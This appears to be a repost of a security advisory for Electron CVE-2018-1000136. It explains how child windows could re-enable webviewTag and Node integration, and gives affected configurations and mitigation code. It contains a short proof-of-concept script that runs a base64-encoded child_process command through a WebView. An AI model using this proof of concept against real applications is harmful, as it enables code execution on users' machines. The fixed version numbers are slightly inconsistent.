Electron CVE-2018-1000136 – Remote Code Execution

Authors:Brendan Scarvell         Risk:High

CVE:CVE-2018-1000136            0day:Remote Code Execution  

0day -id:0DAY-176168             Date:2018-05-13

Description

Electron version 1.7 up to 1.7.12; 1.8 up to 1.8.3 and 2.0.0 up to 2.0.0-beta.3 contains an improper handling of values vulnerability in Webviews that can result in remote code execution. This attack appear to be exploitable via an app which allows execution of 3rd party code AND disallows node integration AND has not specified if webview is enabled/disabled. This vulnerability appears to have been fixed in 1.7.13, 1.8.4, 2.0.0-beta.4.

Background

Electron is a popular framework that allows you to create cross-platform desktop applications using HTML, CSS, and JavaScript. Some popular applications such as Slack, Discord, Signal, Atom, Visual Studio Code and Github Desktop are built using the Electron framework. You can find a list of applications built using Electron here.

Analysis

Electron applications are essentially web apps, which means they’re susceptible to cross-site scripting attacks through failure to correctly sanitize user-supplied input. A default Electron application includes access to not only its own APIs, but also includes access to all of Node.js’ built in modules. This makes XSS particularly dangerous, as an attacker’s payload can allow do some nasty things such as require in the child_process module and execute system commands on the client-side. Atom had an XSS vulnerability not too long ago which did exactly that. You can remove access to Node.js by passing nodeIntegration: false into your application’s webPreferences.

There’s also a WebView tag feature which allows you to embed content, such as web pages, into your Electron application and run it as a separate process. When using a WebView tag you are also able to pass in a number of attributes, including nodeIntegration. WebView containers do not have nodeIntegration enabled by default. The documentation states that if the webviewTag option is not explicitly declared in your webPreferences, it will inherit the same permissions of whatever the value of nodeIntegration is set to.

By default, Electron also uses its own custom window.open() function which creates a new instance of a BrowserWindow. The child window will inherit all of the parent window’s options (which includes its webPreferences) by default. The custom window.open()function does allow you to override some of the inherited options by passing in a featuresargument:

if (!usesNativeWindowOpen) {
    // Make the browser window or guest view emit "new-window" event.
    window.open = function (url, frameName, features) {
      if (url != null && url !== '') {
        url = resolveURL(url)
      }
      const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))
      if (guestId != null) {
        return getOrCreateProxy(ipcRenderer, guestId)
      } else {
        return null
      }
   }

  if (openerId != null) {
    window.opener = getOrCreateProxy(ipcRenderer, openerId)
  }
}

When Electron’s custom window.open function is called, it emits an ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPENevent. The ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPENevent handler then parses the features provided, adding them as options to the newly created window and then emits an ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPENevent. To prevent child windows from being able to do nasty things like re-enabling nodeIntegration when the parent window has it explicitly disabled, guest-window-manager.js contains a hardcoded list of webPreferences options and their restrictive values:

// Security options that child windows will always inherit from parent windows
const inheritedWebPreferences = new Map([
 ['contextIsolation', true],
 ['javascript', false],
 ['nativeWindowOpen', true],
 ['nodeIntegration', false],
 ['sandbox', true],
 ['webviewTag', false]
]);

The ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN event handler then calls the mergeBrowserWindowOptionsfunction which ensures that the restricted attributes of the parent window’s webPreferences are applied to the child window:

const mergeBrowserWindowOptions = function (embedder, options) {

    [...]

    // Inherit certain option values from parent window
    for (const [name, value] of inheritedWebPreferences) {
      if (embedder.getWebPreferences()[name] === value) {
        options.webPreferences[name] = value
      }
    }

    // Sets correct openerId here to give correct options to 'new-window' event handler
    options.webPreferences.openerId = embedder.id

    return options
  }

And here is where the vulnerability lays. The mergeBrowserWindowOptions function didn’t take into account what the default values of these restricted attributes should be if they were undefined. In other words, if webviewTag: falsewasn’t explicitly declared in your application’s webPreferences (and was therefore being inferred by explicitly setting nodeIntegration: false), when mergeBrowserWindowOptions went to check the webviewTag, it would then come back undefined thus making the above if statement return false and not apply the parent’s webviewTag preference. This allowed window.open to pass the webviewTag option as an additional feature, re-enabling nodeIntegration and allowing the potential for remote code execution.

POC

<script>
var x = window.open('data://yoloswag','','webviewTag=yes,show=no');
x.eval(
  "var webview = new WebView;"+
  "webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+
  "webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+
  "document.body.appendChild(webview)"
);
</script>

Affected Applications

An application is affected if all of the following are true:

Runs on Electron 1.7, 1.8, or a 2.0.0-beta
Allows execution of arbitrary remote code
Disables Node.js integration
Does not explicitly declare webviewTag: false in its webPreferences
Does not enable the nativeWindowOption option
Does not intercept new-window events and manually override event.newGuest without using the supplied options tag
Although this appears to be a minority of Electron applicatons, we encourage all applications to be upgraded as a precaution.

Mitigation

This vulnerability is fixed in today’s 1.7.131.8.4, and 2.0.0-beta.5 releases.

Developers who are unable to upgrade their application’s Electron version can mitigate the vulnerability with the following code:

app.on('web-contents-created', (event, win) => {
  win.on('new-window', (event, newURL, frameName, disposition,
                        options, additionalFeatures) => {
    if (!options.webPreferences) options.webPreferences = {};
    options.webPreferences.nodeIntegration = false;
    options.webPreferences.nodeIntegrationInWorker = false;
    options.webPreferences.webviewTag = false;
    delete options.webPreferences.preload;
  })
})

// and *IF* you don't use WebViews at all,
// you might also want
app.on('web-contents-created', (event, win) => {
  win.on('will-attach-webview', (event, webPreferences, params) => {
    event.preventDefault();
  })
})

 

Leave a Reply